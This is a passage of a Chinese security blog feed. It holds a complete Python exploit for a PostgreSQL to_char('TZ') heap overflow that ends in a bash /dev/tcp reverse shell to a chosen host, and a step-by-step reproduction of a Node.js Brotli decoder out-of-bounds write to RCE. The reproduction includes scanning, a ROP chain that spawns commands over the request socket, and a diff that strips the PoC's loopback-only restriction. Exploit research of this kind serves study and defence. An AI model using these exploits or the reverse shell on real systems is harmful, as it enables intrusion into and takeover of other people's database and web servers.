&lt;p&gt;下面是反弹 shell 版本的完整脚本，只依赖 psycopg，参数依次是目标地址、端口、用户名、口令、回连地址和端口。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;CVE-2026-14669 PostgreSQL 18.4 to_char(&apos;TZ&apos;) heap overflow -&amp;gt; reverse shell.
Usage: exploit.py &amp;lt;host&amp;gt; &amp;lt;port&amp;gt; &amp;lt;user&amp;gt; &amp;lt;password&amp;gt; [lhost] [lport]
&quot;&quot;&quot;
import re, struct, sys, time
import psycopg

HOST  = sys.argv[1] if len(sys.argv) &amp;gt; 1 else &quot;127.0.0.1&quot;
PORT  = int(sys.argv[2]) if len(sys.argv) &amp;gt; 2 else 55432
USER  = sys.argv[3] if len(sys.argv) &amp;gt; 3 else &quot;postgres&quot;
PWD   = sys.argv[4] if len(sys.argv) &amp;gt; 4 else &quot;postgres&quot;
LHOST = sys.argv[5] if len(sys.argv) &amp;gt; 5 else &quot;127.0.0.1&quot;
LPORT = int(sys.argv[6]) if len(sys.argv) &amp;gt; 6 else 4444

ASET    = 0x9D94D8
SYSTEM  = 0xE6190
TOPTXN  = 0xA240F0
SCRATCH = 0xA24130
GEO     = 4192
K       = 0x400
TBL     = [0x6A1D20,0x6A1DC0,0x6A1E90,0x6A1B50,0x6A1C10,0x6A2030,0x6A2060,0x6A2090,0x6A20A0]

def newc():
    return psycopg.connect(f&quot;host={HOST} port={PORT} dbname=postgres user={USER} password={PWD}&quot;, connect_timeout=5)

def leak_base():
    c = newc(); c.autocommit = True
    cur = c.cursor(); cur.execute(&quot;SET client_encoding = &apos;SQL_ASCII&apos;&quot;)
    cur.execute(&quot;SELECT set_config(&apos;timezone&apos;, %s, false)&quot;,
                ((b&quot;&amp;lt;&quot;+b&quot;A&quot;*40+bytes([0x08,0x01,0x01])+b&quot;&amp;gt;-10&quot;).decode(&quot;latin1&quot;),))
    ch=[]
    with c.cursor().copy(&quot;COPY (SELECT to_char(now(),&apos;TZ&apos;), to_char(now(),&apos;TZ&apos;)) TO STDOUT (FORMAT binary)&quot;) as cp:
        while (b:=cp.read()): ch.append(bytes(b))
    raw=b&quot;&quot;.join(ch); off=21
    n=struct.unpack(&quot;&amp;gt;i&quot;, raw[off:off+4])[0]; off+=4
    dump=raw[off:off+n]; c.close()
    for i in range(len(dump)-8):
        q=struct.unpack(&quot;&amp;lt;Q&quot;, dump[i:i+8])[0]
        if (q &amp;amp; 0xFFF)==(ASET &amp;amp; 0xFFF) and q &amp;gt; 0x500000000000:
            cand = q-ASET
            if cand % 0x1000 == 0:
                return cand
    raise SystemExit(&quot;[-] base leak failed&quot;)

def main():
    base = leak_base()
    print(&quot;[+] PIE base = %#x&quot; % base)
    size = 1 | (0x0A&amp;lt;&amp;lt;3) | (0x69&amp;lt;&amp;lt;11) | (0x64&amp;lt;&amp;lt;19)     # &quot;#\nid&quot;
    boff = 64
    KB   = K-12-boff
    hdr  = bytes([(3|((size&amp;amp;7)&amp;lt;&amp;lt;5))&amp;amp;0xFF,(size&amp;gt;&amp;gt;3)&amp;amp;0xFF,(size&amp;gt;&amp;gt;11)&amp;amp;0xFF,(size&amp;gt;&amp;gt;19)&amp;amp;0xFF,
                  (((size&amp;gt;&amp;gt;27)&amp;amp;3)|((boff&amp;amp;0x3F)&amp;lt;&amp;lt;2))&amp;amp;0xFF,(boff&amp;gt;&amp;gt;6)&amp;amp;0xFF,0,0])
    off6 = GEO-8-K
    val=0x01010101
    ab=[0x06|((val&amp;amp;0xF)&amp;lt;&amp;lt;4),(val&amp;gt;&amp;gt;4)&amp;amp;0xFF,(val&amp;gt;&amp;gt;12)&amp;amp;0xFF,(val&amp;gt;&amp;gt;20)&amp;amp;0xFF,
        ((val&amp;gt;&amp;gt;28)&amp;amp;0x03)|((off6&amp;amp;0x3F)&amp;lt;&amp;lt;2),(off6&amp;gt;&amp;gt;6)&amp;amp;0xFF]
    a=bytearray(b&apos;c&apos;*35); a[29:35]=bytes(ab)
    tz = &quot;&amp;lt;&quot;+bytes(a).decode(&apos;latin1&apos;)+&quot;&amp;gt;-5&quot;
    def payload(T, A, cmd=None):
        P = (A-(size+10)*8-8) &amp;amp; 0xFFFFFFFFFFFFFFFF
        pay = bytearray(3000)
        pay[K-12:K-4] = hdr
        pay[K+4:K+12] = (T+0x200).to_bytes(8,&quot;little&quot;)
        ft = K+0x1FC
        for i,x in enumerate(TBL):
            pay[ft+i*8:ft+i*8+8] = ((base+SYSTEM) if i==3 else (base+x)).to_bytes(8,&quot;little&quot;)
        pay[KB:KB+8] = P.to_bytes(8,&quot;little&quot;)
        if cmd:
            pay[K+0x3C:K+0x44] = (T+0x60).to_bytes(8,&quot;little&quot;)
            pay[K+0x5C:K+0x64] = (base+SYSTEM).to_bytes(8,&quot;little&quot;)
            pay[K+0x64:K+0x6C] = (T+0x100).to_bytes(8,&quot;little&quot;)
            pay[K+0x6C:K+0x74] = (0).to_bytes(8,&quot;little&quot;)
            pay[K+0xFC:K+0xFC+len(cmd)+1] = cmd+b&quot;\x00&quot;
        return pay
    c = newc(); c.autocommit=False; cur = c.cursor()
    cur.execute(&quot;SET client_encoding=&apos;SQL_ASCII&apos;&quot;)
    cur.execute(&quot;SELECT set_config(&apos;timezone&apos;, %s, false)&quot;, (tz,))
    cur.execute(&quot;BEGIN&quot;)
    T = 0
    for i in range(3):
        cur.execute(&quot;SELECT decode(&apos;%s&apos;, CASE WHEN random()&amp;lt;2 THEN &apos;hex&apos; ELSE &apos;hex&apos; END), to_char(now(),&apos;TZtz&apos;)&quot; % payload(T, base+SCRATCH).hex())
        res = cur.fetchone()[0]
        old = int.from_bytes(res[K-4:K+4], &quot;little&quot;)
        if old &amp;gt; 0x500000000000:
            T = old+8
        print(&quot;[*] converge %d: fake ctx = %#x&quot; % (i, T))
    cmd = (&quot;bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/%s/%d 0&amp;gt;&amp;amp;1&apos;&quot; % (LHOST, LPORT)).encode()
    cur.execute(&quot;SELECT length(decode(&apos;%s&apos;, CASE WHEN random()&amp;lt;2 THEN &apos;hex&apos; ELSE &apos;hex&apos; END)), to_char(now(),&apos;TZtz&apos;)&quot; % payload(T, base+TOPTXN, cmd).hex())
    print(&quot;[*] fake context -&amp;gt; %#x&quot; % (T-8))
    cur.execute(&quot;COMMIT&quot;)
    print(&quot;[+] payload delivered, expect a shell on %s:%d&quot; % (LHOST, LPORT))

main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-14669&quot;&gt;NVD: CVE-2026-14669&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/support/security/CVE-2026-14669/&quot;&gt;PostgreSQL 安全公告&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/postgres/postgres/commit/3d724bf4fde67a2931733a5143b7d6c12b23990c&quot;&gt;修复提交 3d724bf4fd&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/HackSpeak/CVE-2026-14669&quot;&gt;公开 PoC 仓库&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Node.js Brotli 解码器越界写到 RCE（CVE-2026-111497）复现</title><link>https://blog.mal-suen.cn/posts/2026/11/223/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2026/11/223/</guid><description>CVE-2026-111497 是 Node.js 内置 Brotli 解码器中的堆越界写。解码器将无效的块切换状态误判为输入不足，继续向 8 字节暂存区追加数据，溢出后覆盖相邻字段。本文从端口扫描与业务探测入手，确认目标会将攻击者可控的 Brotli 流送入解码器，随后定位崩溃点并完成远程命令执行。</description><pubDate>Mon, 02 Nov 2026 18:10:00 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2026-111497 是 Google Brotli 解码器中的堆越界写，2026 年 10 月 21 日由 Node.js 披露，社区将其命名为 node2shell。该问题随后被确认影响 Python、curl、Envoy 等一批使用同一解码器的组件，因此也被称为 HTTP2Shell。CVSS 4.0 评分 9.2，CVSS 3.1 评分 8.1。10 月 27 日，该编号被列入 CISA 的已知在野利用目录。&lt;/p&gt;
&lt;p&gt;受影响版本为 Brotli 1.0.3 至 1.2.0，覆盖过去数年间绝大多数发行版与运行时内置的版本。漏洞成立的条件只有一条：程序解压了攻击者能够控制的 Brotli 数据。Node.js 中常见的入口有两处，一是 body-parser 处理带 &lt;code&gt;Content-Encoding: br&lt;/code&gt; 的请求体，二是 &lt;code&gt;fetch()&lt;/code&gt; 读取带 br 编码的响应内容。两者都不要求业务代码自行编写解压逻辑。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2026-111497&lt;/td&gt;
&lt;td&gt;9.2（v4.0）&lt;/td&gt;
&lt;td&gt;Brotli 1.0.3 至 1.2.0，Node.js 22.23.4、24.22.1、26.12.1 之前&lt;/td&gt;
&lt;td&gt;Brotli 解码器堆越界写，可致 RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Node.js 对该批问题的评级为 high，标题为「Brotli decoder out-of-bounds write permits remote code execution」。公告对成因的描述只有一句：无效的块切换被当作临时性的输入不足，而非永久性格式错误，流式解码器因此继续向内部的 8 字节缓冲区追加输入。&lt;/p&gt;
&lt;p&gt;同一解码器被多个产品内置，受影响范围并不限于 Node.js：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;产品&lt;/th&gt;
&lt;th&gt;受影响版本&lt;/th&gt;
&lt;th&gt;修复版本&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Google Brotli&lt;/td&gt;
&lt;td&gt;1.0.3 至 1.0.9、1.1.0、1.2.0&lt;/td&gt;
&lt;td&gt;1.0.10、1.1.1、1.2.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Node.js&lt;/td&gt;
&lt;td&gt;22.x &amp;lt; 22.23.4、24.x &amp;lt; 24.22.1、26.x &amp;lt; 26.12.1&lt;/td&gt;
&lt;td&gt;22.23.4、24.22.1、26.12.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bun&lt;/td&gt;
&lt;td&gt;&amp;lt; 1.4.4&lt;/td&gt;
&lt;td&gt;1.4.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.NET / PowerShell&lt;/td&gt;
&lt;td&gt;内置 Brotli 副本&lt;/td&gt;
&lt;td&gt;10 月 25 日带外更新&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Python（requests、httpx、aiohttp 等经 libbrotli）&lt;/td&gt;
&lt;td&gt;随发行版&lt;/td&gt;
&lt;td&gt;发行版与厂商补丁&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Envoy、Istio&lt;/td&gt;
&lt;td&gt;内置 Brotli&lt;/td&gt;
&lt;td&gt;10 月 26 日前后&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WordPress（经 libcurl）&lt;/td&gt;
&lt;td&gt;系统 libbrotli&lt;/td&gt;
&lt;td&gt;升级系统库&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;环境搭建&lt;/h3&gt;
&lt;p&gt;靶标采用 PoC 仓库自带的 Express 实验室，基础镜像以 digest 固定：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ grep &apos;ARG NODE_IMAGE&apos; lab/v24.22.0/express-body-parser/Dockerfile
ARG NODE_IMAGE=node@sha256:925de64a85319052d6971ae81ef2417da956e8a3a2c4a0fac732327970f017f5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Express 是 Node.js 上的 Web 框架，其默认请求体解析中间件为 body-parser。靶标仅包含两个路由：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const express = require(&apos;express&apos;);
const app = express();
app.get(&apos;/health&apos;, (_request, response) =&amp;gt; response.end(&apos;PONG\n&apos;));
app.post(&apos;/upload&apos;, express.json(), (_request, response) =&amp;gt; response.end(&apos;DONE\n&apos;));
app.use((error, _request, response, _next) =&amp;gt; {
  response.status(400).end(`ERR ${error.code || error.type || error.message}\n`);
});
app.listen(3000, &apos;0.0.0.0&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/upload&lt;/code&gt; 使用 &lt;code&gt;express.json()&lt;/code&gt; 解析请求体，该步骤由 body-parser 完成。构建与启动均在靶机上执行。容器内的进程由一层循环拉起，进程终止后会被重新启动，这一点在后续验证中会用到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker build --pull -t cve-2026-111497-lab:v24.22.0-express \
       -f lab/v24.22.0/express-body-parser/Dockerfile lab/v24.22.0/express-body-parser

└─$ sudo docker images --format &apos;{{.Repository}}:{{.Tag}} {{.ID}}&apos; | grep cve-2026-111497
cve-2026-111497-lab:v24.22.0-express   8ecdeef9dac7

└─$ sudo docker run -d --name cve-111497-express --entrypoint sh \
       -e UV_THREADPOOL_SIZE=1 -p 3000:3000 cve-2026-111497-lab:v24.22.0-express \
       -lc &quot;while true; do node /app/server.js; sleep 0.1; done&quot;

└─$ curl -s -i http://127.0.0.1:3000/health | head -3
HTTP/1.1 200 OK
X-Powered-By: Express
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;UV_THREADPOOL_SIZE=1&lt;/code&gt; 属于靶标设定的一部分，PoC 的堆布局按单线程池标定。&lt;/p&gt;
&lt;h3&gt;目标探测&lt;/h3&gt;
&lt;p&gt;首先确定开放的端口。从攻击机执行全端口扫描：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -Pn -T4 -sV -p- --script &quot;default,vulners&quot; 192.168.31.148

Nmap scan report for 192.168.31.148
Host is up (0.00060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.2p1 Debian 6 (protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:10.2p1: 
|     	CVE-2026-60002	9.4	https://vulners.com/cve/CVE-2026-60002
|     	…（其余 26 条为 2026 年的条目，只按版本号匹配，略）
3000/tcp open  http    Node.js Express framework
MAC Address: 00:0C:29:B3:23:74 (VMware)

# Nmap done at Wed Nov  4 04:59:15 2026 -- 1 IP address (1 host up) scanned in 17.32 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对外仅开放 SSH 与 3000，无防火墙拦截。nmap 依据 &lt;code&gt;X-Powered-By: Express&lt;/code&gt; 等响应特征将 3000 识别为 Node.js Express framework，未给出具体版本号。&lt;/p&gt;
&lt;p&gt;其次确认站点的功能范围：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -i http://192.168.31.148:3000/ | head -6
HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Security-Policy: default-src &apos;none&apos;
Content-Type: text/html; charset=utf-8
Content-Length: 139

└─$ curl -s http://192.168.31.148:3000/health
PONG

└─$ curl -s -X POST -H &quot;Content-Type: application/json&quot; -d &apos;{&quot;a&quot;:1}&apos; http://192.168.31.148:3000/upload
DONE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根路径返回 Express 默认 404 页；&lt;code&gt;/health&lt;/code&gt; 返回 PONG；&lt;code&gt;/upload&lt;/code&gt; 仅接受 POST，请求体解析后即被丢弃，路由本身不处理任何业务。&lt;/p&gt;
&lt;p&gt;既然是 Node 应用，继续尝试常见的版本泄露路径：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl -s -I http://192.168.31.148:3000/health | head -6
HTTP/1.1 200 OK
X-Powered-By: Express
Date: Wed, 04 Nov 2026 03:44:37 GMT
Connection: keep-alive
Keep-Alive: timeout=5

└─$ for p in package.json node_modules/node/package.json .nvmrc server-info; do
       printf &apos;%-32s %s\n&apos; &quot;$p&quot; &quot;$(curl -s -o /dev/null -w &apos;%{http_code} %{size_download}&apos; http://192.168.31.148:3000/$p)&quot;
     done
package.json                     404 151
node_modules/node/package.json   404 169
.nvmrc                           404 145
server-info                      404 150
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;响应头中既无 Server 字段，也无任何携带版本号的字段；几个常见的构建信息文件均返回 404。版本信息无法通过该路径获得。&lt;/p&gt;
&lt;p&gt;最后确认攻击面。业务逻辑本身没有可利用之处，值得关注的是 &lt;code&gt;/upload&lt;/code&gt; 会将请求体交由中间件解析，而该中间件支持压缩编码。HTTP 允许客户端压缩请求体发送，并通过 &lt;code&gt;Content-Encoding&lt;/code&gt; 声明所用算法，由服务端负责解压。发送一段非 Brotli 数据并声明 &lt;code&gt;Content-Encoding: br&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ printf &quot;garbage&quot; &amp;gt; /tmp/bad.br
└─$ curl -s -i -X POST -H &quot;Content-Type: application/json&quot; -H &quot;Content-Encoding: br&quot; \
       --data-binary @/tmp/bad.br http://192.168.31.148:3000/upload | head -8
HTTP/1.1 400 Bad Request
X-Powered-By: Express
Content-Length: 32

ERR ERR__ERROR_FORMAT_PADDING_1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回值为 Brotli 解码器自身的错误枚举，说明这段字节确实进入了解码器，且输入内容完全由攻击者控制。至此攻击面确定。&lt;/p&gt;
&lt;h3&gt;漏洞验证&lt;/h3&gt;
&lt;p&gt;第一次验证解码器确实在解压所发送的数据。node 自带 zlib，&lt;code&gt;brotliCompressSync()&lt;/code&gt; 生成的是标准 Brotli 流，压缩一段 JSON 后仅 11 字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ cat &amp;gt; /tmp/mkbr.js &amp;lt;&amp;lt;&apos;JS&apos;
const z = require(&quot;zlib&quot;), fs = require(&quot;fs&quot;);
fs.writeFileSync(&quot;/tmp/ok.br&quot;, z.brotliCompressSync(Buffer.from(JSON.stringify({a:1}))));
console.log(&quot;wrote&quot;, fs.statSync(&quot;/tmp/ok.br&quot;).size);
JS
└─$ node /tmp/mkbr.js
wrote 11

└─$ curl -s -i -X POST -H &quot;Content-Type: application/json&quot; -H &quot;Content-Encoding: br&quot; \
       --data-binary @/tmp/ok.br http://192.168.31.148:3000/upload | head -3
HTTP/1.1 200 OK
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;合法流被正常解开，JSON 解析通过，返回 200。&lt;/p&gt;
&lt;p&gt;第二次验证畸形流对进程的影响。PoC 中负责发送触发流的是 &lt;code&gt;http_body_attack()&lt;/code&gt;，它调用 &lt;code&gt;trigger_stages()&lt;/code&gt; 生成两段流，按 chunked 方式发送，中间间隔 0.5 秒。外层加入健康检查即可判断进程是否终止：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /tmp/crash_demo.py
import os, socket, sys, time
os.environ[&quot;POC_ALLOW_LAN&quot;] = &quot;1&quot;
sys.path.insert(0, &quot;/home/kali/node2shell&quot;)
import poc_lan as N

profile = N.load_profiles()[&quot;node-24.22.0-express-5.3.0-bookworm-x86_64&quot;]
targets = N.resolve_loopback(&quot;192.168.31.148&quot;, 3000)

def health():
    try:
        s = socket.create_connection((&quot;192.168.31.148&quot;, 3000), timeout=2)
        s.sendall(b&quot;GET /health HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n&quot;)
        ok = b&quot;200&quot; in s.recv(64)
        s.close()
        return ok
    except OSError:
        return False

print(&quot;before:&quot;, health())
try:
    N.http_body_attack(profile, targets, 10)
except OSError as exc:
    print(&quot;trigger aborted:&quot;, type(exc).__name__)

down = 0
for _ in range(20):
    if not health():
        down += 1
    time.sleep(0.1)
print(&quot;down samples:&quot;, down)
print(&quot;after 1s:&quot;, health())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;poc_lan&lt;/code&gt; 是 &lt;code&gt;poc.py&lt;/code&gt; 放开回环限制后的副本，具体改动见漏洞利用一节。脚本中自行实现的部分只有 &lt;code&gt;health()&lt;/code&gt;，每 100 毫秒请求一次 &lt;code&gt;/health&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 /tmp/crash_demo.py
before: True
down samples: 3
after 1s: True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;20 次采样中有 3 次连接失败，对应进程终止到被重新启动之间的窗口。重复执行时该数值在 2 到 3 之间波动。靶机日志如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker logs --tail 4 cve-111497-express
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时只能确认进程终止，无法确认崩溃位置。要让 node 运行在调试器下，需要一个包含 gdb 的镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ cat &amp;gt; /tmp/Dockerfile.gdb &amp;lt;&amp;lt;&apos;EOF&apos;
FROM cve-2026-111497-lab:v24.22.0-express
USER root
RUN apt-get update &amp;amp;&amp;amp; apt-get install -y --no-install-recommends gdb
EOF
└─$ sudo docker build -q -t n2s-gdb -f /tmp/Dockerfile.gdb /tmp
sha256:6b173dc7fbc1860de2751d2a2c792a5b6674cd4cb6d7b7ba6fc20985e7a6efd1

└─$ sudo docker run -d --name n2s-gdb --cap-add=SYS_PTRACE -p 3002:3000 \
       --entrypoint gdb n2s-gdb -q -batch -ex run -ex &quot;bt 12&quot; --args node /app/server.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;gdb 启动 node 后，从攻击机向 3002 端口发送同一段触发流。进程收到 SIGSEGV 时 gdb 自动输出调用栈：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker logs n2s-gdb 2&amp;gt;&amp;amp;1 | tail -8
Thread 9 &quot;libuv-worker&quot; received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fc0ad7ee6c0 (LWP 26)]
0x000000000238a197 in ProcessCommands ()
#0  0x000000000238a197 in ProcessCommands ()
#1  0x000000000238c7c0 in BrotliDecoderDecompressStream ()
#2  0x0000000000adb61b in node::(anonymous namespace)::BrotliDecoderContext::DoThreadPoolWork() ()
#3  0x00000000008b9de4 in node::ThreadPoolWork::ScheduleWork()::{lambda(uv_work_s*)#1}::_FUN(uv_work_s*) ()
#4  0x0000000001a2f260 in worker (arg=0x0) at ../deps/uv/src/threadpool.c:123
#5  0x00007fc0ed1321f5 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#6  0x00007fc0ed1b1b50 in clone () from /lib/x86_64-linux-gnu/libc.so.6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;崩溃点位于 &lt;code&gt;ProcessCommands&lt;/code&gt;，其调用者为 &lt;code&gt;BrotliDecoderDecompressStream&lt;/code&gt;，线程为 libuv 的 worker。至此可以确认，这段几十字节的数据流确实导致 Brotli 解码器崩溃，而非其他原因引起的进程退出。&lt;/p&gt;
&lt;p&gt;第三次为完整利用，见下一节。&lt;/p&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;利用脚本为 PoC 仓库中的 &lt;code&gt;poc.py&lt;/code&gt;，分为三部分：&lt;code&gt;profiles.json&lt;/code&gt; 保存各构建的偏移，生成函数负责构造 Brotli 流，最外层函数按时间顺序发送请求并判定结果。&lt;/p&gt;
&lt;p&gt;由于版本无法获取，只能以 profile 作为探针。每份 profile 对应一个具体构建，堆偏移、落点与第二段长度均按该二进制标定，更换构建即不成立。按候选依次尝试，哪一份产出 &lt;code&gt;id&lt;/code&gt; 输出，即可确定目标对应的构建。&lt;/p&gt;
&lt;p&gt;profile 内容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ python3 -c &quot;import json;print(json.dumps(json.load(open(&apos;profiles.json&apos;))[&apos;profiles&apos;][&apos;node-24.22.0-express-5.3.0-bookworm-x86_64&apos;][&apos;probe&apos;],indent=1))&quot;
{
 &quot;transport&quot;: &quot;http-express-socket-rce&quot;,
 &quot;port&quot;: 3000,
 &quot;content_type&quot;: &quot;application/json&quot;,
 &quot;prefix_size&quot;: 1031,
 &quot;copy_source_offset&quot;: &quot;0x367&quot;,
 &quot;command_block_extra&quot;: &quot;0xffffff&quot;,
 &quot;second_stage_size&quot;: 256,
 &quot;stage_delay_seconds&quot;: 0.5,
 &quot;restart_timeout_seconds&quot;: 8.0,
 &quot;attempts&quot;: 16,
 &quot;staged_positions&quot;: [&quot;0x137ed748&quot;],
 &quot;accepted_socket_fd&quot;: 19
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;prefix_size&lt;/code&gt; 为越界写搬运的可控数据长度，&lt;code&gt;copy_source_offset&lt;/code&gt; 为该数据在流中的起始偏移，&lt;code&gt;staged_positions&lt;/code&gt; 为推测的落点。&lt;code&gt;accepted_socket_fd&lt;/code&gt; 取 19 并非固定常数：监听 socket、日志与 libuv 事件占用的描述符会改变编号，19 是在该容器中实测得到的值，启动顺序不同则取值不同。&lt;/p&gt;
&lt;p&gt;流的生成分为两层。&lt;code&gt;generate_stream()&lt;/code&gt; 构造触发无效块切换的最小畸形流，启动时以 sha256 校验其未被修改，期望值为 &lt;code&gt;b7a6508e…&lt;/code&gt;。&lt;code&gt;generate_rce_stream(prefix, extra)&lt;/code&gt; 在该流基础上编入 1031 字节前缀。&lt;/p&gt;
&lt;p&gt;前缀由 &lt;code&gt;express_socket_rce_stages()&lt;/code&gt; 构造。起始两条指令为 &lt;code&gt;mov rax, rdi; ret&lt;/code&gt; 与 &lt;code&gt;pivot rsp, rax+0x30&lt;/code&gt;，用于将栈迁移至前缀；其后的链依次为 &lt;code&gt;pop rsi&lt;/code&gt;、&lt;code&gt;pop rbx&lt;/code&gt;、&lt;code&gt;pop rdi&lt;/code&gt; 加 19、&lt;code&gt;dup2&lt;/code&gt; 的 PLT 地址、&lt;code&gt;execvp&lt;/code&gt; 的调用点，末尾写入 &lt;code&gt;/usr/bin/id&lt;/code&gt;。所有偏移均来自 profile。&lt;/p&gt;
&lt;p&gt;发包由 &lt;code&gt;http_express_socket_rce_attack()&lt;/code&gt; 负责，每轮执行四步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;等待 &lt;code&gt;/health&lt;/code&gt; 返回 200，确认当前 node 进程为新启动的实例。&lt;/li&gt;
&lt;li&gt;建立连接，按 chunked 发送第一段：请求头携带 &lt;code&gt;Content-Encoding: br&lt;/code&gt; 与 &lt;code&gt;Content-Type: application/json&lt;/code&gt;，第一块 body 为前缀与跳转链。&lt;/li&gt;
&lt;li&gt;间隔 0.5 秒后发送第二段 &lt;code&gt;rce_stage_two(pos, 256)&lt;/code&gt;。该 256 字节中第 7 个字节为 8，偏移 15 处为落点地址，其后两个字段填入 &lt;code&gt;0x7FFFFFFF&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;读取该连接上的响应，以正则匹配 &lt;code&gt;uid=… gid=…&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;未命中时的处理同样在该循环中：调用 &lt;code&gt;http_body_attack()&lt;/code&gt; 再发送一次崩溃流，以 &lt;code&gt;wait_http_unhealthy()&lt;/code&gt; 确认旧进程已终止，再以 &lt;code&gt;wait_http_healthcheck()&lt;/code&gt; 等待新进程就绪，随后在新的地址布局下进入下一轮。默认 16 轮。&lt;/p&gt;
&lt;p&gt;参考实现仅允许连接本机回环，限制位于 &lt;code&gt;resolve_loopback()&lt;/code&gt; 中。跨主机利用需要放开该限制，本文复制了一份 &lt;code&gt;poc_lan.py&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-    if normalized_host not in ALLOWED_TARGET_HOSTS:
+    if normalized_host not in ALLOWED_TARGET_HOSTS and not os.environ.get(&quot;POC_ALLOW_LAN&quot;):
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三次执行分别在第 1、4、9 轮命中。第一次的记录如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ POC_ALLOW_LAN=1 python3 poc_lan.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 \
       --host 192.168.31.148 --port 3000 --timeout 30 --attempts 50
attempt=1/50 staged_position=0x137ed748
PASS: RCE verified by fresh id output through the declared interface
profile=node-24.22.0-express-5.3.0-bookworm-x86_64
proof_channel=HTTP request socket stdout
proof_command=id
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
successful_attempt=1
